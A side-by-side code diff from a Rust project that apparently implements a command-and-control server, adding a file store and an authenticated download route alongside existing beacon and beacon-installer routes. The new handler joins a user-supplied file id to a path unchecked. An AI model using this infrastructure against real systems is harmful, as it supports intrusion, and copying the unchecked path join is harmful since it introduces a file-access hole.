use sparse_actions::version::Version; use sparse_actions::version::Version;
use sparse_server::app::*; use sparse_server::app::*;
@ -101,6 +102,7 @@ pub struct AppState {
leptos_options: leptos::config::LeptosOptions, leptos_options: leptos::config::LeptosOptions,
beacon_listeners: sparse_handler::BeaconListenerMap, beacon_listeners: sparse_handler::BeaconListenerMap,
beacon_event_broadcast: tokio::sync::broadcast::Sender<sparse_handler::BeaconEvent>, beacon_event_broadcast: tokio::sync::broadcast::Sender<sparse_handler::BeaconEvent>,
file_store: PathBuf,
} }
async fn get_parameters_bytes( async fn get_parameters_bytes(
@ -323,6 +325,41 @@ pub async fn download_beacon_installer(
)) ))
} }
pub async fn download_file(
State(state): State<AppState>,
cookie_jar: CookieJar,
Path(file_id): Path<String>
) -> axum::response::Response {
if let Err(e) = crate::db::user::get_auth_session_inner(
state.db.clone(),
cookie_jar
).await {
tracing::warn!("Could not load user session: {e:?}");
return axum::http::StatusCode::INTERNAL_SERVER_ERROR.into_response();
}
let mut file_path = state.file_store.clone();
file_path.push(file_id);
let file = match tokio::fs::File::open(file_path).await {
Ok(f) => f,
Err(e) => {
tracing::warn!("Could not open file: {e:?}");
return axum::http::StatusCode::INTERNAL_SERVER_ERROR.into_response();
}
};
let stream = ReaderStream::new(file);
use axum::http::header;
(
[
(header::CONTENT_TYPE, "application/octet-stream".to_string())
],
axum::body::Body::from_stream(stream).into_response()
).into_response()
}
pub async fn subscribe_to_listener_events( pub async fn subscribe_to_listener_events(
State(state): State<AppState>, State(state): State<AppState>,
cookie_jar: CookieJar, cookie_jar: CookieJar,
@ -813,14 +850,16 @@ pub async fn serve_web(
sparse_handler::start_all_listeners( sparse_handler::start_all_listeners(
beacon_listeners.clone(), beacon_listeners.clone(),
db.clone(), db.clone(),
beacon_event_broadcast.clone() beacon_event_broadcast.clone(),
file_store.clone(),
).await?; ).await?;
let state = AppState { let state = AppState {
leptos_options: leptos_options.clone(), leptos_options: leptos_options.clone(),
db: db.clone(), db: db.clone(),
beacon_listeners: beacon_listeners.clone(), beacon_listeners: beacon_listeners.clone(),
beacon_event_broadcast: beacon_event_broadcast.clone() beacon_event_broadcast: beacon_event_broadcast.clone(),
file_store: file_store.clone(),
}; };
let app = Router::new() let app = Router::new()
@ -829,6 +868,7 @@ pub async fn serve_web(
get(download_beacon_installer), get(download_beacon_installer),
) )
.route("/binaries/beacon/:template_id", get(download_beacon)) .route("/binaries/beacon/:template_id", get(download_beacon))
.route("/binaries/files/:file_id", get(download_file))
.route( .route(
"/api/subscribe/listener", "/api/subscribe/listener",
axum::routing::any(subscribe_to_listener_events) axum::routing::any(subscribe_to_listener_events)

View File

@ -1,3 +1,12 @@
fn main() { fn main() {
include!("../build_common.rs"); include!("../build_common.rs");
/*if std::env::var("CARGO_CFG_TARGET_ENV").unwrap() == "gnu"
&& std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "linux"
{
let glibc_libs = std::env::var("GLIBC_LIBS").unwrap();
let glibc_libs_static = std::env::var("GLIBC_LIBS_STATIC").unwrap();
println!("cargo:rustc-link-arg=-L{glibc_libs}/lib");
println!("cargo:rustc-link-arg=-L{glibc_libs_static}/lib");
}*/
} }

View File

@ -16,7 +16,7 @@ windows-result = "0.3.0"
windows-strings = "0.3.0" windows-strings = "0.3.0"
winreg = "0.55" winreg = "0.55"
sparse-actions = { path = "../sparse-actions" } sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
sparse-beacon = { path = "../sparse-beacon", features = ["openssl"] } sparse-beacon = { path = "../sparse-beacon", features = ["openssl"] }
[features] [features]